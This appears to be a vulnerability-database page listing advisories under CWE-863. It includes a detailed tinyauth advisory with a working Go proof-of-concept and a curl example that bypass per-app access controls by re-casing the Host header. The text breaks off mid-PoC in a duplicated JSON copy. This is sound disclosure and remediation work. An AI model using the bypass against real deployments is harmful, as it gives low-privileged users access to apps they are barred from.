CWE-863
Allowed-with-ReviewIncorrect Authorization
Abstraction: Class · Status: Incomplete
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
7172 vulnerabilities reference this CWE, most recent first.
GHSA-326H-RH66-6GP9
Vulnerability from github – Published: 2026-08-26 18:31 – Updated: 2026-08-26 18:31An application using Spring Security's WebAuthn support may be vulnerable to user verification bypass when using a distributed HTTP session store. Spring Security 7.1.0 Spring Security 7.0.0 - 7.0.6 Spring Security 6.5.0 - 6.5.11 Spring Security 6.4.0 - 6.4.18
{
"affected": [],
"aliases": [
"CVE-2026-47841"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-26T18:16:33Z",
"severity": "HIGH"
},
"details": "An application using Spring Security\u0027s WebAuthn support may be vulnerable to user verification bypass when using a distributed HTTP session store.\nSpring Security 7.1.0\nSpring Security 7.0.0 - 7.0.6\nSpring Security 6.5.0 - 6.5.11\nSpring Security 6.4.0 - 6.4.18",
"id": "GHSA-326h-rh66-6gp9",
"modified": "2026-08-26T18:31:57Z",
"published": "2026-08-26T18:31:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47841"
},
{
"type": "WEB",
"url": "https://spring.io/security/cve-2026-47841"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-327H-GP7Q-MXCJ
Vulnerability from github – Published: 2026-07-30 15:31 – Updated: 2026-07-30 15:31Vendure through 3.7.1, fixed in commit f67ef5f, contains a cross-channel authorization bypass vulnerability in stock-location.service.ts and asset.service.ts update methods that allows channel-scoped administrators to modify other tenants' data. Attackers can supply global IDs of StockLocation or Asset entities from different channels to overwrite inventory locations or catalog assets belonging to other tenants without proper channel isolation validation.
{
"affected": [],
"aliases": [
"CVE-2026-67347"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-30T15:16:36Z",
"severity": "MODERATE"
},
"details": "Vendure through 3.7.1, fixed in commit f67ef5f, contains a cross-channel authorization bypass vulnerability in stock-location.service.ts and asset.service.ts update methods that allows channel-scoped administrators to modify other tenants\u0027 data. Attackers can supply global IDs of StockLocation or Asset entities from different channels to overwrite inventory locations or catalog assets belonging to other tenants without proper channel isolation validation.",
"id": "GHSA-327h-gp7q-mxcj",
"modified": "2026-07-30T15:31:52Z",
"published": "2026-07-30T15:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67347"
},
{
"type": "WEB",
"url": "https://github.com/vendurehq/vendure/issues/5003"
},
{
"type": "WEB",
"url": "https://github.com/vendurehq/vendure/pull/5017"
},
{
"type": "WEB",
"url": "https://github.com/vendurehq/vendure/commit/f67ef5f621282b785a2708df468bc6d2b8d8115b"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/vendure-cross-channel-authorization-bypass-via-stocklocation-and-asset-update"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-328G-JX67-V94G
Vulnerability from github – Published: 2026-09-22 20:37 – Updated: 2026-09-22 20:37tinyauth: forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for
GitHub Advisory Details (form fields — paste-ready)
Affected products
| Field | Value |
|-------|-------|
| Ecosystem | Other (self-hosted) / Go |
| Package name | github.com/steveiliop56/tinyauth (forward-auth middleware) |
| Affected versions | < 5.1.2 |
| Patched versions | 5.1.2 |
Advisory details
| Field | Value |
|-------|-------|
| Title | tinyauth forward-auth authorization bypass: per-app ACL host matching is case-sensitive while hostnames are case-insensitive, so a mixed-case host defeats users/groups/ip allowlists and fails open |
- Status: Runtime-confirmed (local lab, 127.0.0.1 only)
- Target: steveiliop56/tinyauth
v5.0.7(commit479f1657812b7bf01438607464dedaa148155301); root cause also present onmainHEAD - Component:
internal/service/access_controls_service.go(lookupStaticACLs/GetAccessControls),internal/service/docker_service.go(GetLabels),internal/controller/proxy_controller.go(proxyHandler) - Class: Broken access control / authorization bypass across the per-app trust boundary
Summary
tinyauth is a forward-auth service: a reverse proxy (Traefik/Caddy/nginx/Envoy) calls GET /api/auth/<proxy> on every request and only forwards the request upstream if tinyauth returns 200. tinyauth decides which per-app access rules apply by looking up the forwarded hostname (the app) in its ACL set — the static apps: config and/or Docker labels. Each app can restrict access with users.allow / users.block, oauth.whitelist, oauth.groups / ldap.groups, and ip.allow. These allowlists are the entire authorization model that separates one protected app from another for a shared pool of authenticated users.
The hostname → ACL lookup is performed with case-sensitive Go string comparisons (config.Config.Domain == domain and strings.SplitN(domain, ".", 2)[0] == app). Hostnames, however, are case-insensitive everywhere else in the stack: DNS, HTTP Host-header routing, and TLS SNI all treat immich.example.com and IMMICH.example.com as the same host, so a reverse proxy routes both to the same backend. When a request arrives with a mixed-case host, the proxy still routes it to the intended app and faithfully forwards the mixed-case value in X-Forwarded-Host (or X-Original-URL for nginx, or Host for Envoy), but tinyauth's case-sensitive lookup misses the app's ACL entry.
On a miss, tinyauth does not fail closed. GetAccessControls falls back to DockerService.GetLabels, which returns an empty config.App{} with no error whenever nothing matches (or Docker is not connected). The proxy handler then evaluates that empty App: IsAuthEnabled → true, CheckIP (no allow/block) → allowed, IsUserAllowed with an empty users.allow → CheckFilter("", …) → true, and the group check with empty required groups → true. The net result is that any already-authenticated user is authorized (200 Authenticated) for an app whose ACL was supposed to exclude them — simply by upper-casing (or otherwise re-casing) one letter of the hostname. This defeats the per-app users/groups/ip allowlist for every proxy integration.
Affected code (v5.0.7, commit 479f1657…)
The ACL lookup uses case-sensitive equality — internal/service/access_controls_service.go:
func (acls *AccessControlsService) lookupStaticACLs(domain string) (config.App, error) {
for app, config := range acls.static {
if config.Config.Domain == domain { // case-sensitive ==
return config, nil
}
if strings.SplitN(domain, ".", 2)[0] == app { // case-sensitive ==
return config, nil
}
}
return config.App{}, errors.New("no results")
}
func (acls *AccessControlsService) GetAccessControls(domain string) (config.App, error) {
app, err := acls.lookupStaticACLs(domain)
if err == nil {
return app, nil
}
// Fallback to Docker labels
return acls.docker.GetLabels(domain)
}
The Docker-label fallback has the same case-sensitive comparisons and, critically, returns an empty App with a nil error when nothing matches (fail open) — internal/service/docker_service.go:
func (docker *DockerService) GetLabels(appDomain string) (config.App, error) {
if !docker.isConnected {
return config.App{}, nil // <-- empty App, no error
}
...
for _, ctr := range containers {
...
for appName, appLabels := range labels.Apps {
if appLabels.Config.Domain == appDomain { ... } // case-sensitive
if strings.SplitN(appDomain, ".", 2)[0] == appName { ... } // case-sensitive
}
}
return config.App{}, nil // <-- no match -> empty App, no error
}
The forward-auth verdict is built from that (possibly empty) App, and an empty App authorizes any logged-in user — internal/controller/proxy_controller.go and internal/service/auth_service.go:
// proxyHandler: host comes straight from X-Forwarded-Host, no normalization
acls, err := controller.acls.GetAccessControls(proxyCtx.Host)
...
if userContext.IsLoggedIn {
userAllowed := controller.auth.IsUserAllowed(c, userContext, acls) // empty acls -> true
...
c.Header("Remote-User", utils.SanitizeHeader(userContext.Username))
c.JSON(200, gin.H{"status": 200, "message": "Authenticated"})
}
// IsUserAllowed with an empty App:
func (auth *AuthService) IsUserAllowed(c *gin.Context, context config.UserContext, acls config.App) bool {
if context.OAuth {
return utils.CheckFilter(acls.OAuth.Whitelist, context.Email) // CheckFilter("", …) == true
}
if acls.Users.Block != "" { ... } // "" -> skipped
return utils.CheckFilter(acls.Users.Allow, context.Username) // CheckFilter("", …) == true
}
utils.CheckFilter returns true for an empty filter, so an empty users.allow means "everyone is allowed":
func CheckFilter(filter string, str string) bool {
if len(strings.TrimSpace(filter)) == 0 {
return true // empty allowlist -> allow all
}
...
}
The forwarded host is used verbatim: getForwardAuthContext reads x-forwarded-host, getAuthRequestContext parses x-original-url, getExtAuthzContext uses c.Request.Host — none of them lower-cases or canonicalizes the host before it reaches GetAccessControls.
Attacker model / precondition
The attacker is a legitimately authenticated but low-privileged user of the tinyauth instance — they hold a valid session (or valid credentials) for their own account, exactly the normal state of any user in a multi-app SSO deployment. They are simply not on the users.allow / group / IP allowlist of some other app protected by the same tinyauth. tinyauth does not offer self-registration, so a valid account is required; this is an authorization (not authentication) bypass, hence PR:L. An unauthenticated visitor is still redirected to the login page.
Trigger: send the request to the protected app with a hostname that routes identically but differs as a byte string from the configured ACL key — the simplest being a case change (IMMICH.example.com for immich.example.com). Reverse proxies match Host rules case-insensitively (RFC 3986 §3.2.2 / RFC 4343), so the request is still routed to the intended backend, and the proxy forwards the mixed-case host to tinyauth in X-Forwarded-Host / X-Original-URL / Host. Equivalent host encodings that route the same but bypass the string compare include a trailing FQDN dot (immich.example.com.) and, for by-domain rules, an added port. The bypass applies to all four proxy integrations (Traefik/Caddy → X-Forwarded-Host; nginx → X-Original-URL; Envoy → Host).
What bounds severity: the attacker must already have a valid account, and the concrete confidentiality/integrity impact depends on the specific app that becomes reachable. Because the whole purpose of putting an app behind a per-app allowlist is to protect sensitive functionality, reaching it generically yields read and write access to that app's data (C:H/I:H). The bypass affects authorization only; global gates that are configured tinyauth-wide (e.g. a global oauth.whitelist used at login) are not affected because they run at login, not per-app.
Impact
Any authenticated user can reach any app protected on the same tinyauth instance whose access is restricted by users.allow / users.block, oauth.groups, ldap.groups, or (for authenticated users) oauth.whitelist — none of which are enforced once the ACL lookup misses on a mixed-case host. Concretely, a user restricted to a handful of apps can obtain full authenticated access to an admin-only or team-only app (its data and actions) hosted behind the same tinyauth, defeating the per-app trust boundary that is the product's core authorization feature. tinyauth even emits the spoofed identity to the upstream via the Remote-User / Remote-Email headers, so downstream apps that trust those headers treat the attacker as a legitimately-authorized user of that app.
Proof of Concept (complete — runs on 127.0.0.1 only)
Lab-only. This is a single self-contained Go test dropped into the tinyauth source tree. It builds the real ProxyController, AccessControlsService, and AuthService (the same wiring the project's own proxy_controller_test.go uses), configures one app immich restricted to user admin, and drives the real forward-auth endpoint as a logged-in non-admin user bob. It proves: (1) with the exact-case host, bob is correctly blocked (403); (2) with an upper-cased host, the ACL lookup misses, tinyauth fails open to an empty App, and bob is authorized (200) with Remote-User: bob — a cross-app authorization bypass.
Reproduce against the exact vulnerable tag:
git clone --depth 1 --branch v5.0.7 https://github.com/steveiliop56/tinyauth
cd tinyauth
# The repo embeds the built frontend at internal/assets/dist via //go:embed.
# For a backend-only PoC, create a one-file stub so the embed compiles:
mkdir -p internal/assets/dist
printf '<!doctype html><title>stub</title>' > internal/assets/dist/index.html
# Write the test file shown below to internal/controller/zzz_poc_test.go, then:
go test ./internal/controller/ -run TestForwardAuthHostCaseACLBypass -v
internal/controller/zzz_poc_test.go:
package controller_test
import (
"net/http/httptest"
"path"
"testing"
"github.com/gin-gonic/gin"
"github.com/steveiliop56/tinyauth/internal/bootstrap"
"github.com/steveiliop56/tinyauth/internal/config"
"github.com/steveiliop56/tinyauth/internal/controller"
"github.com/steveiliop56/tinyauth/internal/repository"
"github.com/steveiliop56/tinyauth/internal/service"
"github.com/steveiliop56/tinyauth/internal/utils/tlog"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
// TestForwardAuthHostCaseACLBypass demonstrates that the per-app ACL is matched
// against the forwarded host with a case-SENSITIVE string comparison, while
// reverse proxies route hosts case-INSENSITIVELY. A logged-in user who is NOT in
// an app's users.allow list can reach the app anyway by varying the case of the
// hostname: the ACL lookup misses, tinyauth falls back to an EMPTY App (fail
// open), and the forward-auth verdict becomes 200 "Authenticated".
func TestForwardAuthHostCaseACLBypass(t *testing.T) {
tlog.NewTestLogger().Init()
tempDir := t.TempDir()
// Force the docker label provider offline so an ACL miss deterministically
// yields the empty App() default (this is exactly what happens on any
// deployment whose ACLs live in the static `apps:` config, or whose docker
// socket holds no container matching the mixed-case host).
t.Setenv("DOCKER_HOST", "unix:///nonexistent/docker.sock")
authServiceCfg := service.AuthServiceConfig{
Users: []config.User{
{
Username: "admin",
Password: "$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa", // password
},
{
Username: "bob",
Password: "$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa", // password
},
},
SessionExpiry: 10,
CookieDomain: "example.com",
LoginTimeout: 10,
LoginMaxRetries: 3,
SessionCookieName: "tinyauth-session",
}
controllerCfg := controller.ProxyControllerConfig{
AppURL: "https://tinyauth.example.com",
}
// The admin restricts the "immich" app to user "admin" only.
acls := map[string]config.App{
"immich": {
Config: config.AppConfig{
Domain: "immich.example.com",
},
Users: config.AppUsers{
Allow: "admin",
},
},
}
// bob is a legitimately-authenticated low-privileged user. He is NOT in
// immich's users.allow list.
bobCtx := func(c *gin.Context) {
c.Set("context", &config.UserContext{
Username: "bob",
Name: "Bob",
Email: "bob@example.com",
IsLoggedIn: true,
Provider: "local",
})
c.Next()
}
// Shared services (mirrors the project's own proxy_controller_test.go).
app := bootstrap.NewBootstrapApp(config.Config{})
db, err := app.SetupDatabase(path.Join(tempDir, "tinyauth.db"))
require.NoError(t, err)
defer func() { _ = db.Close() }()
queries := repository.New(db)
docker := service.NewDockerService()
require.NoError(t, docker.Init())
ldap := service.NewLdapService(service.LdapServiceConfig{})
require.NoError(t, ldap.Init())
broker := service.NewOAuthBrokerService(make(map[string]config.OAuthServiceConfig))
require.NoError(t, broker.Init())
authService := service.NewAuthService(authServiceCfg, docker, ldap, queries, broker)
require.NoError(t, authService.Init())
aclsService := service.NewAccessControlsService(docker, acls)
newRouter := func() *gin.Engine {
gin.SetMode(gin.TestMode)
router := gin.New()
router.Use(bobCtx)
group := router.Group("/api")
pc := controller.NewProxyController(controllerCfg, group, aclsService, authService)
pc.SetupRoutes()
return router
}
forwardAuth := func(host string) *httptest.ResponseRecorder {
rec := httptest.NewRecorder()
req := httptest.NewRequest("GET", "/api/auth/traefik", nil)
req.Header.Set("x-forwarded-host", host)
req.Header.Set("x-forwarded-proto", "https")
req.Header.Set("x-forwarded-uri", "/")
newRouter().ServeHTTP(rec, req)
return rec
}
// 1. Control: exact-case host -> ACL is found, bob is NOT in users.allow -> 403.
lower := forwardAuth("immich.example.com")
t.Logf("[control] x-forwarded-host=immich.example.com -> %d remote-user=%q", lower.Code, lower.Header().Get("Remote-User"))
assert.Equal(t, 403, lower.Code, "boundary must block bob at the exact-case host")
// 2. Bypass: upper-case host -> ACL lookup misses (case-sensitive ==),
// empty App fail-open -> 200 Authenticated + Remote-User leaks bob.
upper := forwardAuth("IMMICH.example.com")
t.Logf("[BYPASS] x-forwarded-host=IMMICH.example.com -> %d remote-user=%q", upper.Code, upper.Header().Get("Remote-User"))
require.Equalf(t, 200, upper.Code, "expected the mixed-case host to bypass the users.allow ACL")
require.Equalf(t, "bob", upper.Header().Get("Remote-User"), "tinyauth authorized bob for immich across the ACL boundary")
}
Observed output (v5.0.7; trimmed to the two decisive log lines):
=== RUN TestForwardAuthHostCaseACLBypass
... access_controls_service.go: Found matching container by domain name=immich
... proxy_controller.go: User not allowed to access resource resource=immich user=bob
zzz_poc_test.go: [control] x-forwarded-host=immich.example.com -> 403 remote-user=""
... access_controls_service.go: Falling back to Docker labels for ACLs
... docker_service.go: Docker not connected, returning empty labels
zzz_poc_test.go: [BYPASS] x-forwarded-host=IMMICH.example.com -> 200 remote-user="bob"
--- PASS: TestForwardAuthHostCaseACLBypass (0.06s)
PASS
ok github.com/steveiliop56/tinyauth/internal/controller 0.067s
The control request (immich.example.com) finds the ACL and correctly returns 403 for bob; the identical request with an upper-cased host (IMMICH.example.com) misses the ACL, falls back to the empty App, and returns 200 Authenticated with Remote-User: bob. In a live deployment the identical effect is reached over HTTP by requesting the protected app with a mixed-case Host header, e.g. curl -H 'Host: IMMICH.example.com' https://<proxy>/ with bob's session cookie — the proxy routes it to immich and forwards the mixed-case host to tinyauth, which authorizes bob.
Remediation
- Canonicalize the host before the ACL decision. Lower-case (and strip any trailing dot / port from) the forwarded host in
getForwardAuthContext/getAuthRequestContext/getExtAuthzContext, and store both the ACLappskeys and eachconfig.domain/ label domain lower-cased, so the lookup is case-insensitive. Equivalently, compare withstrings.EqualFold. This closes the case, trailing-dot, and port-variant encodings in one place. - Fail closed on an ACL miss.
GetAccessControls/GetLabelsshould distinguish "no ACL configured for this host" from "empty ACL that allows everyone." When no app matches the requested host, the forward-auth handler should not authorize a user by defaulting to an empty allow-allApp; it should apply a deny-by-default (or an explicit, documented default policy) rather than returningconfig.App{}, nil. Returning an all-emptyAppas the fallback is the fail-open that turns the lookup miss into an authorization bypass. - Add a regression test asserting that a user excluded by
users.allowis still403when the same host is supplied in mixed case, with a trailing dot, and with an added port.
Please credit 5ud0 / Tarmo Technologies.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/tinyauthapp/tinyauth"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.1-0.20260720133915-80bc87188ec3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77560"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-636",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T20:37:08Z",
"nvd_published_at": "2026-09-21T17:18:52Z",
"severity": "HIGH"
},
"details": "# tinyauth: forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for\n\n\n\n## GitHub Advisory Details (form fields \u2014 paste-ready)\n\n**Affected products**\n| Field | Value |\n|-------|-------|\n| Ecosystem | `Other (self-hosted)` / Go |\n| Package name | `github.com/steveiliop56/tinyauth` (forward-auth middleware) |\n| Affected versions | `\u003c 5.1.2` |\n| Patched versions | `5.1.2` |\n\n**Advisory details**\n| Field | Value |\n|-------|-------|\n| Title | tinyauth forward-auth authorization bypass: per-app ACL host matching is case-sensitive while hostnames are case-insensitive, so a mixed-case host defeats `users`/`groups`/`ip` allowlists and fails open |\n\n- **Status:** Runtime-confirmed (local lab, 127.0.0.1 only)\n- **Target:** steveiliop56/tinyauth `v5.0.7` (commit `479f1657812b7bf01438607464dedaa148155301`); root cause also present on `main` HEAD\n- **Component:** `internal/service/access_controls_service.go` (`lookupStaticACLs` / `GetAccessControls`), `internal/service/docker_service.go` (`GetLabels`), `internal/controller/proxy_controller.go` (`proxyHandler`)\n- **Class:** Broken access control / authorization bypass across the per-app trust boundary\n\n## Summary\n\ntinyauth is a forward-auth service: a reverse proxy (Traefik/Caddy/nginx/Envoy) calls `GET /api/auth/\u003cproxy\u003e` on every request and only forwards the request upstream if tinyauth returns `200`. tinyauth decides *which* per-app access rules apply by looking up the forwarded hostname (the app) in its ACL set \u2014 the static `apps:` config and/or Docker labels. Each app can restrict access with `users.allow` / `users.block`, `oauth.whitelist`, `oauth.groups` / `ldap.groups`, and `ip.allow`. These allowlists are the entire authorization model that separates one protected app from another for a shared pool of authenticated users.\n\nThe hostname \u2192 ACL lookup is performed with **case-sensitive** Go string comparisons (`config.Config.Domain == domain` and `strings.SplitN(domain, \".\", 2)[0] == app`). Hostnames, however, are case-*insensitive* everywhere else in the stack: DNS, HTTP `Host`-header routing, and TLS SNI all treat `immich.example.com` and `IMMICH.example.com` as the same host, so a reverse proxy routes both to the same backend. When a request arrives with a mixed-case host, the proxy still routes it to the intended app and faithfully forwards the mixed-case value in `X-Forwarded-Host` (or `X-Original-URL` for nginx, or `Host` for Envoy), but tinyauth\u0027s case-sensitive lookup **misses** the app\u0027s ACL entry.\n\nOn a miss, tinyauth does not fail closed. `GetAccessControls` falls back to `DockerService.GetLabels`, which returns an **empty `config.App{}` with no error** whenever nothing matches (or Docker is not connected). The proxy handler then evaluates that empty App: `IsAuthEnabled` \u2192 true, `CheckIP` (no allow/block) \u2192 allowed, `IsUserAllowed` with an empty `users.allow` \u2192 `CheckFilter(\"\", \u2026)` \u2192 **true**, and the group check with empty required groups \u2192 **true**. The net result is that any *already-authenticated* user is authorized (`200 Authenticated`) for an app whose ACL was supposed to exclude them \u2014 simply by upper-casing (or otherwise re-casing) one letter of the hostname. This defeats the per-app `users`/`groups`/`ip` allowlist for every proxy integration.\n\n## Affected code (v5.0.7, commit `479f1657\u2026`)\n\nThe ACL lookup uses case-sensitive equality \u2014 `internal/service/access_controls_service.go`:\n\n```go\nfunc (acls *AccessControlsService) lookupStaticACLs(domain string) (config.App, error) {\n\tfor app, config := range acls.static {\n\t\tif config.Config.Domain == domain { // case-sensitive ==\n\t\t\treturn config, nil\n\t\t}\n\t\tif strings.SplitN(domain, \".\", 2)[0] == app { // case-sensitive ==\n\t\t\treturn config, nil\n\t\t}\n\t}\n\treturn config.App{}, errors.New(\"no results\")\n}\n\nfunc (acls *AccessControlsService) GetAccessControls(domain string) (config.App, error) {\n\tapp, err := acls.lookupStaticACLs(domain)\n\tif err == nil {\n\t\treturn app, nil\n\t}\n\t// Fallback to Docker labels\n\treturn acls.docker.GetLabels(domain)\n}\n```\n\nThe Docker-label fallback has the same case-sensitive comparisons and, critically, returns an **empty App with a nil error** when nothing matches (fail open) \u2014 `internal/service/docker_service.go`:\n\n```go\nfunc (docker *DockerService) GetLabels(appDomain string) (config.App, error) {\n\tif !docker.isConnected {\n\t\treturn config.App{}, nil // \u003c-- empty App, no error\n\t}\n\t...\n\tfor _, ctr := range containers {\n\t\t...\n\t\tfor appName, appLabels := range labels.Apps {\n\t\t\tif appLabels.Config.Domain == appDomain { ... } // case-sensitive\n\t\t\tif strings.SplitN(appDomain, \".\", 2)[0] == appName { ... } // case-sensitive\n\t\t}\n\t}\n\treturn config.App{}, nil // \u003c-- no match -\u003e empty App, no error\n}\n```\n\nThe forward-auth verdict is built from that (possibly empty) App, and an empty App authorizes any logged-in user \u2014 `internal/controller/proxy_controller.go` and `internal/service/auth_service.go`:\n\n```go\n// proxyHandler: host comes straight from X-Forwarded-Host, no normalization\nacls, err := controller.acls.GetAccessControls(proxyCtx.Host)\n...\nif userContext.IsLoggedIn {\n\tuserAllowed := controller.auth.IsUserAllowed(c, userContext, acls) // empty acls -\u003e true\n\t...\n\tc.Header(\"Remote-User\", utils.SanitizeHeader(userContext.Username))\n\tc.JSON(200, gin.H{\"status\": 200, \"message\": \"Authenticated\"})\n}\n\n// IsUserAllowed with an empty App:\nfunc (auth *AuthService) IsUserAllowed(c *gin.Context, context config.UserContext, acls config.App) bool {\n\tif context.OAuth {\n\t\treturn utils.CheckFilter(acls.OAuth.Whitelist, context.Email) // CheckFilter(\"\", \u2026) == true\n\t}\n\tif acls.Users.Block != \"\" { ... } // \"\" -\u003e skipped\n\treturn utils.CheckFilter(acls.Users.Allow, context.Username) // CheckFilter(\"\", \u2026) == true\n}\n```\n\n`utils.CheckFilter` returns `true` for an empty filter, so an empty `users.allow` means \"everyone is allowed\":\n\n```go\nfunc CheckFilter(filter string, str string) bool {\n\tif len(strings.TrimSpace(filter)) == 0 {\n\t\treturn true // empty allowlist -\u003e allow all\n\t}\n\t...\n}\n```\n\nThe forwarded host is used verbatim: `getForwardAuthContext` reads `x-forwarded-host`, `getAuthRequestContext` parses `x-original-url`, `getExtAuthzContext` uses `c.Request.Host` \u2014 none of them lower-cases or canonicalizes the host before it reaches `GetAccessControls`.\n\n## Attacker model / precondition\n\nThe attacker is a **legitimately authenticated but low-privileged** user of the tinyauth instance \u2014 they hold a valid session (or valid credentials) for their own account, exactly the normal state of any user in a multi-app SSO deployment. They are simply *not* on the `users.allow` / group / IP allowlist of some other app protected by the same tinyauth. tinyauth does not offer self-registration, so a valid account is required; this is an authorization (not authentication) bypass, hence PR:L. An unauthenticated visitor is still redirected to the login page.\n\nTrigger: send the request to the protected app with a hostname that routes identically but differs as a byte string from the configured ACL key \u2014 the simplest being a case change (`IMMICH.example.com` for `immich.example.com`). Reverse proxies match `Host` rules case-insensitively (RFC 3986 \u00a73.2.2 / RFC 4343), so the request is still routed to the intended backend, and the proxy forwards the mixed-case host to tinyauth in `X-Forwarded-Host` / `X-Original-URL` / `Host`. Equivalent host encodings that route the same but bypass the string compare include a trailing FQDN dot (`immich.example.com.`) and, for by-domain rules, an added port. The bypass applies to all four proxy integrations (Traefik/Caddy \u2192 `X-Forwarded-Host`; nginx \u2192 `X-Original-URL`; Envoy \u2192 `Host`).\n\nWhat bounds severity: the attacker must already have a valid account, and the concrete confidentiality/integrity impact depends on the specific app that becomes reachable. Because the whole purpose of putting an app behind a per-app allowlist is to protect sensitive functionality, reaching it generically yields read and write access to that app\u0027s data (C:H/I:H). The bypass affects authorization only; global gates that are configured tinyauth-wide (e.g. a global `oauth.whitelist` used at login) are not affected because they run at login, not per-app.\n\n## Impact\n\nAny authenticated user can reach any app protected on the same tinyauth instance whose access is restricted by `users.allow` / `users.block`, `oauth.groups`, `ldap.groups`, or (for authenticated users) `oauth.whitelist` \u2014 none of which are enforced once the ACL lookup misses on a mixed-case host. Concretely, a user restricted to a handful of apps can obtain full authenticated access to an admin-only or team-only app (its data and actions) hosted behind the same tinyauth, defeating the per-app trust boundary that is the product\u0027s core authorization feature. tinyauth even emits the spoofed identity to the upstream via the `Remote-User` / `Remote-Email` headers, so downstream apps that trust those headers treat the attacker as a legitimately-authorized user of that app.\n\n## Proof of Concept (complete \u2014 runs on 127.0.0.1 only)\n\nLab-only. This is a single self-contained Go test dropped into the tinyauth source tree. It builds the **real** `ProxyController`, `AccessControlsService`, and `AuthService` (the same wiring the project\u0027s own `proxy_controller_test.go` uses), configures one app `immich` restricted to user `admin`, and drives the real forward-auth endpoint as a logged-in non-admin user `bob`. It proves: (1) with the exact-case host, bob is correctly blocked (`403`); (2) with an upper-cased host, the ACL lookup misses, tinyauth fails open to an empty App, and bob is authorized (`200`) with `Remote-User: bob` \u2014 a cross-app authorization bypass.\n\nReproduce against the exact vulnerable tag:\n\n```console\ngit clone --depth 1 --branch v5.0.7 https://github.com/steveiliop56/tinyauth\ncd tinyauth\n# The repo embeds the built frontend at internal/assets/dist via //go:embed.\n# For a backend-only PoC, create a one-file stub so the embed compiles:\nmkdir -p internal/assets/dist\nprintf \u0027\u003c!doctype html\u003e\u003ctitle\u003estub\u003c/title\u003e\u0027 \u003e internal/assets/dist/index.html\n# Write the test file shown below to internal/controller/zzz_poc_test.go, then:\ngo test ./internal/controller/ -run TestForwardAuthHostCaseACLBypass -v\n```\n\n`internal/controller/zzz_poc_test.go`:\n\n```go\npackage controller_test\n\nimport (\n\t\"net/http/httptest\"\n\t\"path\"\n\t\"testing\"\n\n\t\"github.com/gin-gonic/gin\"\n\t\"github.com/steveiliop56/tinyauth/internal/bootstrap\"\n\t\"github.com/steveiliop56/tinyauth/internal/config\"\n\t\"github.com/steveiliop56/tinyauth/internal/controller\"\n\t\"github.com/steveiliop56/tinyauth/internal/repository\"\n\t\"github.com/steveiliop56/tinyauth/internal/service\"\n\t\"github.com/steveiliop56/tinyauth/internal/utils/tlog\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\n// TestForwardAuthHostCaseACLBypass demonstrates that the per-app ACL is matched\n// against the forwarded host with a case-SENSITIVE string comparison, while\n// reverse proxies route hosts case-INSENSITIVELY. A logged-in user who is NOT in\n// an app\u0027s users.allow list can reach the app anyway by varying the case of the\n// hostname: the ACL lookup misses, tinyauth falls back to an EMPTY App (fail\n// open), and the forward-auth verdict becomes 200 \"Authenticated\".\nfunc TestForwardAuthHostCaseACLBypass(t *testing.T) {\n\ttlog.NewTestLogger().Init()\n\ttempDir := t.TempDir()\n\n\t// Force the docker label provider offline so an ACL miss deterministically\n\t// yields the empty App() default (this is exactly what happens on any\n\t// deployment whose ACLs live in the static `apps:` config, or whose docker\n\t// socket holds no container matching the mixed-case host).\n\tt.Setenv(\"DOCKER_HOST\", \"unix:///nonexistent/docker.sock\")\n\n\tauthServiceCfg := service.AuthServiceConfig{\n\t\tUsers: []config.User{\n\t\t\t{\n\t\t\t\tUsername: \"admin\",\n\t\t\t\tPassword: \"$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa\", // password\n\t\t\t},\n\t\t\t{\n\t\t\t\tUsername: \"bob\",\n\t\t\t\tPassword: \"$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa\", // password\n\t\t\t},\n\t\t},\n\t\tSessionExpiry: 10,\n\t\tCookieDomain: \"example.com\",\n\t\tLoginTimeout: 10,\n\t\tLoginMaxRetries: 3,\n\t\tSessionCookieName: \"tinyauth-session\",\n\t}\n\n\tcontrollerCfg := controller.ProxyControllerConfig{\n\t\tAppURL: \"https://tinyauth.example.com\",\n\t}\n\n\t// The admin restricts the \"immich\" app to user \"admin\" only.\n\tacls := map[string]config.App{\n\t\t\"immich\": {\n\t\t\tConfig: config.AppConfig{\n\t\t\t\tDomain: \"immich.example.com\",\n\t\t\t},\n\t\t\tUsers: config.AppUsers{\n\t\t\t\tAllow: \"admin\",\n\t\t\t},\n\t\t},\n\t}\n\n\t// bob is a 